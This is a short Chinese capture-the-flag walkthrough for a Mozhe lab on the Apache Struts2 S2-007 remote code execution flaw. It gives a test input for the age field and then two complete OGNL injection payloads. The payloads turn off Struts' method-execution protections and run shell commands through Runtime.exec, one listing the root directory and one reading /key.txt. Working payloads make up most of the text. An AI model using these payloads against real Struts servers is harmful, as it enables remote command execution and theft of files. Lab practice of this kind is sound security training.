墨者Apache Struts2远程代码执行漏洞(S2-007)复现题解

用户邮箱随便输，然后在年龄那一栏填入’+(1+1)+’,点击登录，能发现回显了11

接着利用以下代码，ls查看有哪些文件
'+ (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”),#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls /’).getInputStream())) + ’

能看到key.txt，直接利用上述代码读取这个key.txt。
'+ (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”),#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘cat /key.txt’).getInputStream())) + ’